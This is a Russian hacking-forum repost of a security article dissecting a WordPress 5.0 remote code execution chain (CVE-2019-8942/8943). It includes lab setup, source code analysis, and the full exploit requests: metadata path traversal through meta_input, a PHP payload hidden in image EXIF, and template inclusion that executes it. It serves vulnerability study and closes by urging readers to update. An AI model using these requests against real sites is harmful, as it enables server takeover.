• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Захватываем контроль над WordPress, спрятав код в картинке

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Открытка для WordPress. Захватываем контроль над сайтом, спрятав код в картинке

Сегодня я расскажу об уязвимости, дающей возможность исполнять произвольный код в самой популярной CMS в мире — WordPress. Причина бага — в недостаточной фильтрации метаданных загруженного файла, что дает возможность выйти из директории, используя некорректную логику при кадрировании картинок. Злоумышленник может загрузить произвольный PHP-код в теле изображения и поместить его в папку, откуда будет возможен вызов.

Используемые уязвимости
  • CVE-2019-8942 — уязвимость заключается в возможности свободного манипулирования метаданными записей блога, а именно ключом _wp_attached_file, который отвечает за путь загруженного аттача.
  • CVE-2019-8943 — из-за некорректной логики функции wp_crop_image атакующий, используя конструкцию вида /valid/image/path.jpg?/../../path/traversal, может выйти из директории, предназначенной для хранения пользовательских файлов, и записать файл в произвольный путь.
Проблему обнаружили исследователи из RIPS Technologies еще в октябре прошлого (2018-го) года. Оригинальный отчет об этом был представлен Саймоном Сканнеллом (Simon Scannell) 19 февраля и содержит общее описание обнаруженных багов, варианты их эксплуатации и видео с PoC.

Мы же детально пройдемся по всем этапам эксплуатации и разберемся в проблеме. Поехали!


Стенд
Для демонстрации уязвимости я, как всегда, воспользуюсь докер-контейнерами для поднятия тестового окружения.

Сначала база данных. Я возьму привычный MySQL.
Код:
$ docker run -d --rm -e MYSQL_USER="wprce" -e MYSQL_PASSWORD="QJmfdGjW47" -e MYSQL_DATABASE="wprce" --name=wpmysql --hostname=mysql mysql/mysql-server
Теперь дело за контейнером с WordPress.
Код:
$ docker run -it --rm -p80:80 --name=wprce --hostname=wprce --link=wpmysql debian /bin/bash
Не забывай слинковать его с контейнером базы данных. Далее устанавливаем требуемые пакеты, среди них, разумеется, веб-сервер Apache и PHP.
Код:
$ apt-get update && apt-get install -y apache2 php php7.0-mysqli php-imagick php-xdebug nano wget build-essential checkinstall
Обрати внимание на пакет php-imagick. Уязвимость связана с обработкой картинок, для чего частенько используется расширение GD, но сегодня особый случай и нам нужен ImageMagick. Подробнее об этом я расскажу, говоря об эксплуатации.

Теперь качаем WordPress версии 5.0, это последняя версия с багом, который мы готовимся изучить.
Код:
$ cd /tmp && wget https://wordpress.org/wordpress-5.0.tar.gz
Распаковываем архив в веб-рут.
Код:
$ tar xzf wordpress-5.0.tar.gz
$ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/
$ chown -R www-data:www-data /var/www/html/
Если хочешь дебажить приложение вместе со мной, то настраивай удаленную отладку в Xdebug. Я буду использовать в качестве дебаггера PHPStorm.
Код:
$ echo "xdebug.remote_enable=1" >> /etc/php/7.0/apache2/conf.d/20-xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.0/apache2/conf.d/20-xdebug.ini
Наконец-то запускаем сам сервер и инсталлируем WordPress.
Код:
$ service apache2 start

wp-5-0-install.jpg

Установка WordPress 5.0

После этого не забудь отключить автообновление CMS на всякий случай.
Код:
$ echo "define( 'WP_AUTO_UPDATE_CORE', false );" >> /var/www/html/wp-config.php


Манипулируем метаданными, или CVE-2019-8942

Проэксплуатировать уязвимость можно только от имени пользователей, которым разрешена загрузка медиафайлов. Роль author вполне подойдет для этих целей, поэтому создадим нового пользователя с такими правами.

Теперь немного о загрузках медиафайлов. Помимо того что файл физически помещается в директорию wp-content/uploads, в процессе загрузки его метаданные заносятся в таблицу wp_postmeta. Для CMS нет особой разницы между записями, страницами и файлами, для системы все это объекты типа WP_Post, и различаются они метаданными, атрибутом post_type и прочим.

/wp-includes/class-wp-post.php
PHP:
022: final class WP_Post {
...
186:    /**
187:     * The post’s type, like post or page.
...
192:    public $post_type = 'post';
/wp-includes/post.php
PHP:
20: function create_initial_post_types() {
21:     register_post_type( 'post', array(
...
41:     register_post_type( 'page', array(
42:         'labels' => array(
...
62:     register_post_type( 'attachment', array(
63:         'labels' => array(
Загрузим рандомную картинку и заглянем в базу данных.

wp-postmeta-table.jpg

Метаданные загруженного файла в таблице wp_postmeta

Ключ _wp_attachment_metadata содержит сериализованный объект, где располагается вся информация о загруженной картинке, которая может понадобиться WordPress. Главная проблема в том, что злоумышленник может перезаписать любые метаданные произвольными.

Как мы выяснили, загруженный файл в WordPress является экземпляром Post. Поэтому за добавление и обновление данных о нем отвечает один и тот же метод — wp_insert_post. Только в первом случае он почти сразу вызывается из функции wp_insert_attachment.

/wp-includes/post.php
PHP:
5068: function wp_insert_attachment( $args, $file = false, $parent = 0, $wp_error = false ) {
5069:   $defaults = array(
5070:       'file'        => $file,
5071:       'post_parent' => 0
5072:   );
5073:
5074:   $data = wp_parse_args( $args, $defaults );
5075:
5076:   if ( ! empty( $parent ) ) {
5077:       $data['post_parent'] = $parent;
5078:   }
5079:
5080:   $data['post_type'] = 'attachment';
5081:
5082:   return wp_insert_post( $data, $wp_error );
5083: }
/wp-includes/post.php
PHP:
3143: /**
3144:  * Insert or update a post.
3145:  *
...
3203: function wp_insert_post( $postarr, $wp_error = false ) {
3204:   global $wpdb;
3205:
3206:   $user_id = get_current_user_id();
Во втором случае — цепочкой edit_post => wp_update_post => wp_insert_attachment.

/wp-admin/includes/post.php
PHP:
187: function edit_post( $post_data = null ) {
188:    global $wpdb;
189:
190:    if ( empty($post_data) )
191:        $post_data = &$_POST;
...
377:    $success = wp_update_post( $post_data );
/wp-includes/post.php
PHP:
3776: function wp_update_post( $postarr = array(), $wp_error = false ) {
3777:   if ( is_object($postarr) ) {
...
3817:   if ($postarr['post_type'] == 'attachment')
3818:       return wp_insert_attachment($postarr);
3819:
3820:   return wp_insert_post( $postarr, $wp_error );
3821: }

wp-debug-update-attachment-data.jpg

Отладка функции редактирования данных загруженного файла

Как видишь, данные берутся прямо из запроса через доступ к ключам массива $_POST. В итоге все это добро попадает в эту часть кода:

/wp-includes/post.php
PHP:
3203: function wp_insert_post( $postarr, $wp_error = false ) {
...
3600:   if ( ! empty( $postarr['meta_input'] ) ) {
3601:       foreach ( $postarr['meta_input'] as $field => $value ) {
3602:           update_post_meta( $post_ID, $field, $value );
3603:       }
3604:   }
Таким образом, если передать через POST-запрос в параметре meta_input массив вида метаключ => значение, то можно добавлять и обновлять метаданные текущего поста.

wp-update-post-metadata-debug.jpg

Массив из параметра meta_input обрабатывается функцией update_post_meta

Другими словами, можно менять значения meta_key и meta_value в таблице wp_postmeta.

wp-updated-wp-postmeta.jpg

Обновленные метаданные в таблице wp_postmeta

В этом нам помогает функция update_post_meta. Не так давно в статье «Удаленное удаление. Как захватить контроль над WordPress, заставив его стереть файл» я уже писал про возможность указать произвольные метаданные. Там этот трюк использовался для эксплуатации уязвимости удаления файлов. Если ты ее не читал, то советую ознакомиться.

Какие же интересные ключи мы можем перезаписать в наших аттачах?


Причины возникновения ошибки path traversal (CVE-2019-8943)
Чтобы узнать ответ на этот вопрос, нужно посмотреть на функциональность работы с картинками, которую предоставляет WordPress. Здесь, помимо прочего, имеется возможность кадрировать картинку (crop).

wp-crop-image-ui.jpg

Режим кадрирования в WordPress

Процесс кропа начинается с функции wp_ajax_crop_image.

/wp-admin/includes/ajax-actions.php
PHP:
3217: /**
3218:  * Ajax handler for cropping an image.
...
3222: function wp_ajax_crop_image() {
3223:   $attachment_id = absint( $_POST['id'] );
...
3231:   $data    = array_map( 'absint', $_POST['cropDetails'] );
3232:   $cropped = wp_crop_image( $attachment_id, $data['x1'], $data['y1'], $data['width'], $data['height'], $data['dst_width'], $data['dst_height'] );
В POST-запросе передается id картинки, с которым функция будет работать, а в параметре cropDetails — информация о деталях кадрирования. С этими данными происходит вызов wp_crop_image.

/wp-admin/includes/image.php
PHP:
25: function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
26:     $src_file = $src;
27:     if ( is_numeric( $src ) ) { // Handle int as attachment ID
28:         $src_file = get_attached_file( $src );
Здесь объявляется переменная $src_file, в которой находится путь до обрабатываемой картинки. Его возвращает функция get_attached_file.

/wp-admin/includes/post.php
PHP:
367: /**
368:  * Retrieve attached file path based on attachment ID.
...
385: function get_attached_file( $attachment_id, $unfiltered = false ) {
386:    $file = get_post_meta( $attachment_id, '_wp_attached_file', true );
387:
388:    // If the file is relative, prepend upload dir.
389:    if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
390:        $file = $uploads['basedir'] . "/$file";
391:    }
392:
393:    if ( $unfiltered ) {
394:        return $file;
395:    }
...
405:    return apply_filters( 'get_attached_file', $file, $attachment_id );
406: }
Обрати внимание на строку 386. Путь берется из метаданных, а именно из ключа _wp_attached_file. А метаданные мы можем спокойно контролировать. Затем к этой строке подставляется путь до директории с пользовательскими файлами, по дефолту это wp-content/uploads.

Вернемся в wp_crop_image. После получения пути WordPress должен убедиться, что изображение действительно существует.

/wp-admin/includes/image.php
PHP:
30:         if ( ! file_exists( $src_file ) ) {
31:             // If the file doesn’t exist, attempt a URL fopen on the src link.
32:             // This can occur with certain file replication plugins.
33:             $src = _load_image_to_edit_path( $src, 'full' );
34:         } else {
35:             $src = $src_file;
36:         }
Здесь есть два варианта. Первый: если путь до файла, который указан в _wp_attached_file, существует, то он и будет использован в дальнейшем. Второй вариант: путь не существует, тогда функция _load_image_to_edit_path попытается загрузить изображение со своего собственного сервера. Для этого будет сгенерирован URL для загрузки, состоящий из адреса сервера, каталога wp-content/uploads и данных из метазаписи _wp_attached_file.

Например, ты загрузил картинку с именем Mia.jpg. Тогда в _wp_attached_file будет что-то вроде 2019/02/Mia.jpg, в зависимости от настроек. При обработке CMS сначала проверит путь /var/www/html/wp-content/uploads/2019/02/Mia.jpg и, если его там нет, попытается загрузить файл по URL http://wprce.vh/wp-content/uploads/2019/02/Mia.jpg. Такое поведение бывает нужно в случаях, когда какой-то плагин генерирует изображение на лету при доступе к определенному URL. При этом никакой фильтрации WordPress не выполняет.

После загрузки изображения вызывается функция wp_get_image_editor.

/wp-admin/includes/image.php
PHP:
39:     $editor = wp_get_image_editor( $src );
40:     if ( is_wp_error( $editor ) )
41:         return $editor;
Она определяет, какая библиотека для работы с изображением будет использоваться.

/wp-includes/media.php
PHP:
2900: function wp_get_image_editor( $path, $args = array() ) {
2901:   $args['path'] = $path;
...
2903:   if ( ! isset( $args['mime_type'] ) ) {
2904:       $file_info = wp_check_filetype( $args['path'] );
...
2912:   $implementation = _wp_image_editor_choose( $args );
Тут всего два варианта: ImageMagick и GD, причем первая в приоритете.

/wp-includes/media.php
PHP:
2950: function _wp_image_editor_choose( $args = array() ) {
2951:   require_once ABSPATH . WPINC . '/class-wp-image-editor.php';
2952:   require_once ABSPATH . WPINC . '/class-wp-image-editor-gd.php';
2953:   require_once ABSPATH . WPINC . '/class-wp-image-editor-imagick.php';
...
2962:   $implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD' ) );
2963:
2964:   foreach ( $implementations as $implementation ) {
2965:       if ( ! call_user_func( array( $implementation, 'test' ), $args ) )
2966:           continue;
Последовательно из классов WP_Image_Editor_Imagick и WP_Image_Editor_GDвызывается метод test, который и проверяет наличие своей библиотеки в системе.

/wp-includes/class-wp-image-editor-imagick.php
PHP:
16: class WP_Image_Editor_Imagick extends WP_Image_Editor {
...
45:     public static function test( $args = array() ) {
46:
47:         // First, test Imagick’s extension and classes.
48:         if ( ! extension_loaded( 'imagick' ) || ! class_exists( 'Imagick', false ) || ! class_exists( 'ImagickPixel', false ) )
49:             return false;
50:
51:         if ( version_compare( phpversion( 'imagick' ), '2.2.0', '<' ) )
52:             return false;
/wp-includes/class-wp-image-editor-gd.php
PHP:
16: class WP_Image_Editor_GD extends WP_Image_Editor {
...
41:     public static function test( $args = array() ) {
42:         if ( ! extension_loaded('gd') || ! function_exists('gd_info') )
43:             return false;
После того как переменная $editor становится экземпляром нужного класса, вызывается метод crop.

/wp-admin/includes/image.php
PHP:
43:     $src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
44:     if ( is_wp_error( $src ) )
45:         return $src;
/wp-includes/class-wp-image-editor-imagick.php
PHP:
492:    public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
493:        if ( $src_abs ) {
494:            $src_w -= $src_x;
495:            $src_h -= $src_y;
496:        }
...
498:        try {
499:            $this->image->cropImage( $src_w, $src_h, $src_x, $src_y );
Теперь, когда картинка обработана, нужно ее сохранить. За это отвечает следующий кусок кода:

/wp-admin/includes/image.php
PHP:
47:     if ( ! $dst_file )
48:         $dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
...
54:     wp_mkdir_p( dirname( $dst_file ) );
55:
56:     $dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
57:
58:     $result = $editor->save( $dst_file );
В переменную $dst_file записывается путь, по которому будет сохраняться результирующая картинка. К имени файла добавляется префикс cropped-, а путь берется из переменной $src_file, то есть путь, которым мы можем манипулировать. Если путь не существует, то функция wp_mkdir_p любезно создаст его для нас и назначит необходимые права.

/wp-includes/functions.php
PHP:
1597: function wp_mkdir_p( $target ) {
1598:   $wrapper = null;
...
1621:   if ( file_exists( $target ) )
1622:       return @is_dir( $target );
...
1630:   // Get the permission bits.
1631:   if ( $stat = @stat( $target_parent ) ) {
1632:       $dir_perms = $stat['mode'] & 0007777;
1633:   } else {
1634:       $dir_perms = 0777;
1635:   }
1636:
1637:   if ( @mkdir( $target, $dir_perms, true ) ) {
Дальше метод save выполняет предварительные проверки и передает управление make_image, который уже сохраняет файл по указанному пути.

/wp-includes/class-wp-image-editor-imagick.php
PHP:
590:    public function save( $destfilename = null, $mime_type = null ) {
591:        $saved = $this->_save( $this->image, $destfilename, $mime_type );
...
615:    protected function _save( $image, $filename = null, $mime_type = null ) {
...
621:        try {
...
626:            $this->make_image( $filename, array( $image, 'writeImage' ), array( $filename ) );
/wp-includes/class-wp-image-editor.php
PHP:
014: abstract class WP_Image_Editor {
...
394:    protected function make_image( $filename, $function, $arguments ) {
395:        if ( $stream = wp_is_stream( $filename ) ) {
...
404:        if ( $result && $stream ) {
405:            $contents = ob_get_contents();
406:
407:            $fp = fopen( $filename, 'w' );
408:
409:            if ( ! $fp ) {
410:                ob_end_clean();
411:                return false;
412:            }
413:
414:            fwrite( $fp, $contents );
415:            fclose( $fp );
416:        }
Итак, если ты загружал Mia.jpg, то после выполнения кадрирования получишь файл /var/www/html/wp-content/uploads/2019/02/cropped-Mia.jpg.

wordpress-cropped-image-path.jpg

Сохраненная кадрированная картинка

Эта логика слепо доверяет метаключу _wp_attached_file, используя его значение, когда создается путь сохранения файлов. Здесь-то и кроется проблема. Зная причину и уязвимое место, переходим к практической эксплуатации.


Решаем проблемы и эксплуатируем уязвимость path traversal

Итак, легитимное значение _wp_attached_file в случае загрузки картинки Mia.jpg имеет вид 2019/02/Mia.jpg. Но ведь ты можешь произвольно его менять. И добавить, например, в начало конструкцию ../. Для этого перехватим POST-запрос на редактирование записи и добавим к нему параметр meta_input[_wp_attached_file] со значением ../Mia.jpg.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Length: 801
Content-Type: application/x-www-form-urlencoded
Cookie: <валидные_куки>

_wpnonce=<валидный_токен>&action=editpost&post_ID=10&meta_input[_wp_attached_file]=../Mia.jpg
wordpress-image-metadata-change.jpg

Меняем метаданные загруженной картинки

Теперь выполняем запрос на кроп картинки. Сначала нужно получить валидный токен _ajax_nonce, для этого достаточно перейти в режим редактирования картинки и поймать запрос с экшеном image-editor.

wordpress-get-nonce-for-crop.jpg

Получение валидного токена _ajax_nonce
Код:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wprce.vh
Content-Length: 93
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: <валидные_куки>

action=crop-image&_ajax_nonce=<валидный_токен>&id=10&cropDetails[width]=200&cropDetails[height]=200

wordpress-try-to-path-traversal.jpg

Попытка эксплуатации уязвимости path traversal в WordPress 5.0

Таким образом мы пытаемся выйти из директории wp-content/uploads/ и записать кадрированный файл на уровень выше — в wp-content. Но эта попытка не увенчается успехом из-за того, что оригинальная картинка располагается по другому пути. И попытки обмануть file_exist не приведут к желаемым результатам, так как эта функция PHP не очень дружелюбна к атакующему и не позволяет манипулировать путями.

php-file-exists-fake-path.jpg

Манипуляция с путями в функции file_exist

Однако нас выручает второй вариант — загрузка файла по URL. Тут уже есть где разгуляться. Чтобы загрузилась настоящая картинка, указываем реальный путь до нее. В параметрах передаем набор конструкций ../, чтобы попасть в нужную директорию.
Код:
2019/02/Mia.jpg?/../../../../Mia.jpg
Сервер попытается перейти по полученному URL:
Код:
http://wprce.vh/wp-content/uploads/2019/02/Mia.jpg?/../../../../Mia.jpg
Все, что идет после знака вопроса, не будет иметь значения, и картинка успешно загрузится и будет доступна для последующих манипуляций.

wordpress-try-to-path-traversal-ver-2.jpg

Картинка для выполнения кадрирования загружена по URL

Дальше мы сталкиваемся с еще одной «проблемой». Так как папки cropped-Mia.jpg? не существует, функция writeImage из ImageMagick вернет соответствующую ошибку.

wp-crop-image-imagemagick-error.jpg

Ошибка при сохранении кадрированной картинки. Директория не существует

Проблема решается очень просто — нужно сначала создать эту директорию, манипулируя все той же функцией кропа. Фишка в том, чтобы использовать разные имена для директории и файла, который мы хотим создать. Ведь при формировании пути, по которому будет располагаться кадрированное изображение, ищутся все вхождения имени файла с добавлением префикса cropped-.

/wp-admin/includes/image.php
PHP:
47:     if ( ! $dst_file )
48:         $dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );

path-basename-example.jpg

Результат работы функции basename

Поэтому обновляем метаключ _wp_attached_file у загруженного файла. Устанавливаем его значение в wp-content/uploads/2019/02/Mia.jpg?/anything.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
Cookie: <валидные_куки>

_wpnonce=<валидный_токен>&action=editpost&post_ID=10&meta_input[_wp_attached_file]=2019/02/Mia.jpg?/anything
Теперь выполняем операцию кропа, и директория Mia.jpg? будет создана.

wp-directory-create-through-crop-image.jpg

Создание необходимой директории при помощи манипуляции с _wp_attached_file и функциональностью кадрирования

Обрати внимание, что ImageMagick автоматически подставляет расширение, определяя тип исходного файла.

/wp-includes/class-wp-image-editor-imagick.php
PHP:
615:    protected function _save( $image, $filename = null, $mime_type = null ) {
616:        list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type );
617:
618:        if ( ! $filename )
619:            $filename = $this->generate_filename( null, null, $extension );
...
625:            $this->image->setImageFormat( strtoupper( $this->get_extension( $mime_type ) ) );
Такое поведение не позволит нам просто загрузить шелл на PHP. Печально, но не критично.

Дальше снова обновляем _wp_attached_file. В этот раз смело указываем созданную папку, в которую хотим сохранить обработанный файл.

Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Length: 801
Content-Type: application/x-www-form-urlencoded
Cookie: <валидные_куки>

_wpnonce=<валидный_токен>&action=editpost&post_ID=10&meta_input[_wp_attached_file]=2019/02/Mia.jpg?/../../../../owned
Теперь весь набор для успешной эксплуатации path traversal у нас в руках. Есть файл Mia.jpg, и выполнение скрипта не прервется на попытке загрузки изображения по URL http://wprce.vh/wp-content/uploads/2019/02/Mia.jpg?/../../../../owned.jpg. Создана папка Mia.jpg?, так что функция writeImage из ImageMagick не вернет ошибку. Осталось лишь отправить запрос на кадрирование.

wp-path-traversal-debug.jpg

В процессе эксплуатации уязвимости path traversal в WordPress 5.0

После выполнения запроса можем наблюдать созданный файл owned.jpg в директории wp-content.

wp-success-path-traversal-exploitation.jpg

Успешная эксплуатация уязвимости path traversal в WordPress 5.0

Кстати, на серверах с Windows такой трюк не прокатит, так как символ знака вопроса (?) зарезервирован системой для поиска, инструкций командной строки и прочего. Но формат URL гибок, и ты можешь спокойно заменить везде знак вопроса на решетку без потерь.

windows-specific-path-working.jpg

Особенности имен папок в Windows


Эксплуатируем выполнение произвольного кода. Инклуд шаблонов

Файл мы создали, но, во-первых, это картинка, во-вторых… это просто картинка! Естественно, я могу записать в один из тегов EXIF произвольный код на PHP, но как его вызвать?

В этом нам снова поможет возможность манипулирования метаданными записей. WordPress, как и все современные CMS, поддерживает темы оформления. Доступные для использования темы хранятся в каталоге wp-content/themes. Они могут содержать файлы-шаблоны для разных типов записей в CMS. Например, если посетитель хочет просмотреть страницу (WP_Page), то WordPress попробует найти файл page.php в каталоге текущей активной темы. Если такой файл найден, то он подгружается с помощью функции include().

/wp-includes/template-loader.php
PHP:
44: if ( defined('WP_USE_THEMES') && WP_USE_THEMES ) :
45:     $template = false;
...
53:     elseif ( is_attachment()     && $template = get_attachment_template()     ) :
54:         remove_filter('the_content', 'prepend_attachment');
55:     elseif ( is_single()         && $template = get_single_template()         ) :
56:     elseif ( is_page()           && $template = get_page_template()           ) :
...
63:     else :
64:         $template = get_index_template();
/wp-includes/template.php
PHP:
377: /**
378:  * Retrieve path of page template in current or parent template.
379:  *
380:  * The hierarchy for this template looks like:
381:  *
382:  * 1. {Page Template}.php
383:  * 2. page-{page_name}.php
384:  * 3. page-{id}.php
385:  * 4. page.php
386:  *
...
405: function get_page_template() {
...
407:    $template = get_page_template_slug();
...
417:    $templates = array();
418:    if ( $template && 0 === validate_file( $template ) )
419:        $templates[] = $template;
420:    if ( $pagename ) {
421:        $pagename_decoded = urldecode( $pagename );
422:        if ( $pagename_decoded !== $pagename ) {
423:            $templates[] = "page-{$pagename_decoded}.php";
424:        }
425:        $templates[] = "page-{$pagename}.php";
426:    }
427:    if ( $id )
428:        $templates[] = "page-{$id}.php";
429:    $templates[] = 'page.php';
430:
431:    return get_query_template( 'page', $templates );
/wp-includes/template-loader.php
PHP:
73:     if ( $template = apply_filters( 'template_include', $template ) ) {
74:         include( $template );
Помимо этого, имеется возможность выбрать кастомный шаблон для определенных записей. Чтобы его использовать, пост должен иметь метаключ _wp_page_template. В нем будет указано имя файла, который отвечает за шаблон. Единственное ограничение здесь в том, что файл должен находиться в каталоге текущей активной темы. Но это легко обойти, если использовать уже известную цепочку уязвимостей.

Итак, сначала нужно внедрить код на PHP в изображение, которое я буду загружать на сервер. Для этого существует огромное количество способов. Я просто добавлю строку <?php phpinfo();/* в проводнике Windows в свойствах картинки.

add-php-code-to-exif.jpg

Добавляем код в EXIF картинки

Теперь загружаем этот файл на сервер, а затем эксплуатируем уязвимость и сохраняем кадрированный файл в директорию с текущей темой. По дефолту используется Twenty Nineteen, поэтому запрос на изменение метаданных будет выглядеть таким образом.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
Cookie: <валидные_куки>

_wpnonce=<валидный_токен>&action=editpost&post_ID=11&meta_input[_wp_attached_file]=2019/02/Mia.jpg?/../../../../themes/twentynineteen/owned

save-jpg-with-php-code-to-wp-themes-dir.jpg

Сохраняем картинку с кодом в директорию текущей активной темы

Вот тут нужно сказать несколько слов об используемой на сервере библиотеке. ImageMagick по дефолту не вырезает EXIF при манипуляции с изображениями, даже при кадрировании. Именно поэтому я ее и выбрал.

php-code-inside-cropped-image.jpg

ImageMagick сохраняет добавленный в EXIF PHP-код даже после кадрирования

А вот GD сносит всю лишнюю, по его мнению, информацию, и файл получается девственно чистым. Так что это интересный челлендж — сгенерировать такой файл, который после всех манипуляций будет содержать нужный нам текст. Но если захочешь заморочиться, то наверняка что-нибудь придумаешь.

Итак, файл cropped-owned.jpg создан и находится в директории с текущей активной темой, а также содержит наш код. Теперь нужно подключить этот файл в качестве кастомного шаблона для отображения записи. Для этого начнем создание новой записи в блоге. Содержание может быть произвольным, главное — перехватить пакет на сохранение. Добавляем к нему параметр meta_input и указываем в качестве метаключа _wp_page_template значение cropped-owned.jpg.
Код:
meta_input[_wp_page_template]=cropped-owned.jpg

wp-change-post-template-meta.jpg

Указываем файл с кодом в качестве шаблона для поста при помощи манипуляции с метаданными

Это нужно сделать именно при создании поста, потому что потом нельзя будет отредактировать метаключ.

Теперь при переходе на страницу с этой записью инклудится наша картинка с кодом на PHP, и мы видим результат вывода phpinfo().

wordpress-5-remote-code-execution-success.jpg

Успешная эксплуатация RCE в WordPress 5.0

Ура! Мы получили RCE.

Я набросал скриптик на JS, который автоматизирует эксплуатацию уязвимости. Найти его можно на моем GitHub. Запускается из любого места на сайте, главное — быть авторизованным и иметь нужные права. В переменной cmd можно указать код на PHP, который будет выполнен.


Демонстрация уязвимости (видео)



Выводы
Сегодня мы превратили безобидное изменение метаданных в грозное оружие, которое приводит к самым печальным последствиям для системы — выполнению исходного кода. Даже такие крупные CMS, как WordPress, не застрахованы от критических ошибок, стоит лишь посмотреть на логику работы приложения под нужным углом.

Так что скорее обновляйся на самую свежую версию WordPress. Используй встроенную возможность апгрейда на актуальный релиз через панель управления. На данный момент последняя версия — WordPress 5.1. Там эта уязвимость исправлена. Разработчики добавили проверку и фильтрацию опасных метаданных при создании и обновлении записей.

wordpress-vuln-patch-commit.jpg

Коммит с патчем уязвимости

Возможно, этот решение лишь прикрывает возможность эксплуатирования описанной уязвимости, а не полностью запрещает его. И может быть, именно ты найдешь новый байпас!

автор: aLLy aka iamsecurity
хакер.ру
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх